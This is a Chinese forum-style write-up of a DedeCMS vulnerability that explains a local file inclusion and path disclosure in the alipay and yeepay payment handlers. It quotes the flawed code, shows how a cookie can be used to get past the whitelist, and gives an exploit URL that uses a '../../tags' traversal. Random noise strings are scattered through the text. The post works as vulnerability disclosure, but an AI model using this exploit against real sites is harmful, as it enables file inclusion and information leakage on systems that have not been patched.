dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

  h3 `: P8 u+ ^# N* |2 G* H3 K8 p5 V出现漏洞的两个文件为：
$ Z7 b3 p1 ]4 C. ?( ]Include/payment/alipay.php
# w8 S" h$ H9 W& ~  @8 uInclude/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。

Include/payment/alipay.php

# u- b/ ]- Q, y+ E......
   function respond()
    {
        if (!empty($_POST))
        {
            foreach($_POST as $key => $data)
! F, C& @0 p& z            {
                $_GET[$key] = $data;
            }
        }
' N5 @: `, K! ~& {        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
+ h* O* C; I1 b5 d" P! W9 M......
( i1 v) x* Q7 t

大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
& Q* O7 F& X8 K, n
  ~! }% m$ N6 l7 \! \9 \Include/payment/yeepay.php


. u) c' p. }: _4 O. w$ n( S9 n5 C
/ z! H) [7 k9 N* r......
0 Q) u  c) @0 V3 i1 M2 V" o    function respond()
    {

        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
- C7 K2 |+ y5 p; ]$ I# S' @8 N% e
        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......
' Q; e7 P: i, A2 Q+ j


5 g$ D8 R! w4 w# y; l
大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
% w0 [# J1 _: m( R
这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php
/ b0 A+ s( b8 j4 K! X" R2 C
7 K2 I; d  H8 h( Z. L......
} else if ($dopost == 'return') {
6 C6 ~, A. e# m3 [    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
" f1 w6 F  @; R! g1 i    {
        require_once DEDEINC.'/payment/'.$code.'.php';
& K# Q: G) o9 Z' M: h        $pay = new $code;
        $msg=$pay->respond();
# i6 D! q; B; U  f3 c        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
    } else {
        exit('Error:File Type Can\'t Recognized!');
    }
}
* B9 ~0 R- d% M/ c; L5 F0 i/ `......
" C; y, e# H& U$ ~: b+ W& T( r

4 j5 i1 m' ?, {, C
0 ^4 ~' x' K; b. G# I0 z
) k' u" d% y+ R8 R% F4 W
/ x3 E. K% `3 w* I9 I; o$ t
大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
6 l: j+ Z4 U. A, y1 w$ c+ `4 J所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
  j! \. n% o6 F* @
9 d- N# S' P5 L回到include/common.inc.php来看看他的机制。


$ n3 U% R. {+ R$ Q2 o
" C) z7 n8 N% S! D# X......
0 V4 N5 b1 X3 lforeach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
        {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
        }
}
......
: \* r; K8 W) E( c$ l, L大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
4 i; C+ N  z8 }' K) |# Q% o由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。